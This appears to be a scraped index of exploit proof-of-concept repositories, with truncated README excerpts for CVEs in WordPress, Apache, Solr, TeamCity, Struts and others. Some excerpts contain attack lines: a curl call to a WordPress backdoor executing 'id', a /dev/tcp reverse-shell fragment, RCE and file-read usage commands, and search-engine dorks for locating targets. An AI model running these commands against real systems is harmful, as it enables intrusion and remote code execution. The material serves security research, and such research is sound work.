CVE-2022-1609

CVE-2022-1609 CVE-2022-1609 WordPress Weblizar后门 curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...

CVE-2016-2173

CVE-2016-2173 - Remote Code Execution in Spring AMQP - App Test Description The class org.springframework.core.serializer.DefaultDeserializer does not validate the deserialized object against a whitelist. By supplying a crafted serialized object like Chris Frohoff's Commons Collection gadget,...

CVE-2025-55182-PoC

CVE-2025-55182 - PoC & Stand 📌 Quick Start 1. Deploy Vulnerable Stand cd Stand docker compose up --build The vulnerable app runs at: http://localhost:3011 2. Run the Safe PoC Scanner bash cd PoC/src poetry install poetry run python scanner.py http://localhost:3011 ✅ Expected PoC Output text...

CVE-2025-34299-lab

CVE-2025-34299 Test Environment Docker test environment for CVE-2025-34299 - Monsta FTP Pre-Authentication Remote Code Execution vulnerability. Vulnerability Details Field| Value ---|--- CVE ID| CVE-2025-34299 Severity| Critical CVSS 9.8 CWE| CWE-434 Unrestricted Upload of File with Dangerous Typ...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

CVE-2021-41773-RedTeam

CVE-2021-41773 — Apache HTTP Server 2.4.49 Path Traversal / RCE ITSOLERA Cybersecurity Department — Red Team Task 3 Team: Offensive Team Zeta Date: 18th March 2026 ⚠️ Disclaimer This repository is for educational purposes only. All testing was performed in an isolated local Docker lab. Never use...

joomla_rce_CVE-2015-8562

joomlarceCVE-2015-8562 All versions of the Joomla! below 3.4.6 are known to be vulnerable. But exploitation is possible with PHP versions below 5.5.29, 5.6.13 and below 5.5. Démo : https://www.youtube.com/watch?v=twqYpn1ir4o...

apache_2.4.50

Apache HTTP Server 2.4.50 LFI & RCE A python3 script for the CVE-2021-42013 - Apache HTTP Server 2.4.50 LFI & RCE. RCE requires cgi-bin to be enabled Getting Started Executing program LFI python3 apache2.4.50.py -t http://apache.hack/ -lfi /etc/passwd RCE python3 apache2.4.50.py -t...

CVE-2024-27198-RCE

Cyberspace Mapping Dork Fofa app="JETBRAINS-TeamCity" ZoomEye app:"JetBrains TeamCity" Hunter.how product.name="TeamCity" Shodan http.component:"teamcity" How to use I'm using Python3.9. pip install requests urllib3 faker python CVE-2024-27198-RCE.py -t http://192.168.198.173:8111 --behinder4...

laravel-filemanager-unrestricted-upload

Laravel FileManager Unrestricted File Upload CVE-2025-56399 CWE-434: Unrestricted Upload of File with Dangerous Type CVSS Score: 8.5 High 📋 Description This tool provides a Proof of Concept PoC for CVE-2025-56399 , a critical vulnerability in alexusmai/laravel-file-manager versions ≤ 3.3.1. The...

CVE-2022-28219

CVE-2022-28219 POC for CVE-2022-28219 affecting ManageEngine ADAudit Plus builds -l -d -f /windows/win.ini Or to run calc.exe on the target: python3 CVE-2022-28219.py -t targe...

CVE-2025-63406-PoC

CVE-2025-63406 PoC Installation Install dependencies pip install -r requirements.txt Or use a virtual environment python3 -m venv venv source venv/bin/activate On Windows: venv\Scripts\activate pip install -r requirements.txt Usage python3 CVE-2025-63406.py -u -n -p -c Arguments -u, --url: Base U...

CVE-2026-32475

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 Unauthenticated Arbitrary File Upload → RCE PoC for CVE-2026-32475 CVSS 9.0 Critical, CWE-434: an unauthenticated arbitrary file upload in the Elementor Pro Forms module that leads to remote code execution. Fixed in Elementor Pro 4.2.2 2026-08-19. Reported b...

CVE-2017-14980

Exploit-CVE-2017-14980 PoC exploit for CVE-2017-14980 — a stack-based buffer overflow vulnerability in Sync Breeze Enterprise 10.0.28. 📖 Full technical analysis of the exploit: 👉 https://davigsantana.github.io/posts/buffer-overflow/ About This repository contains a proof-of-concept PoC developed...

CVE-2021-34371.jar

CVE-2021-34371.jar CVE-2021-34371.jar from https://github.com/vulhub/vulhub/tree/master/neo4j/CVE-2021-34371/rhinogadget USE EXP...

CVE-2018-14667_Lab_POC

CVE-2018-14667-Lab LAB PREREQUISITES Demo App From : http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip Jboss 5.1.0.GA from JBOSS download archive : https://repository.jboss.org/sourceforge/ Jdk-6u45-linux-x64 from JAVA archive :...

CVE-2019-12949

CVE-2019-12949 From Cross Site Scripting Vulnerability to Remote Code Execution in pfSense 2.4.4-p2 and 2.4.4-p3 Information Description: In pfSense 2.4.4-p2 and 2.4.4-p3, if it is possible to trich the authenticated administrator into clicking on a button on a phishing page, an attacker can uplo...

CVE-2018-11776-Python-PoC

CVE-2018-11776-Python-PoC hook-s3c github.com/hook-s3c, @hooks3c on twitter Working Python test and PoC for CVE-2018-11776, originally appearing on; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC What's going on? Man Yue Mo from Semmle has disclosed an Struts2 RCE vulnerability, delivered ...

CVE-2025-10041

CVE-2025-10041 Flex QR Code Generator = 1.2.5 - Unauthenticated Arbitrary File Upload 🚨 Flex QR Code Generator ≤ 1.2.5 - Unauthenticated Arbitrary File Upload 📝 Description The Flex QR Code Generator plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation ...

CVE-2025-47256

CVE-2025-47256 Stack overflow in LibXMP Description A stack-based buffer overflow vulnerability exists in the depackpha function of libxmp, a library for module music playback. The vulnerability is triggered when parsing malformed Pha Packer PHA module files. Improper bounds checking on a local...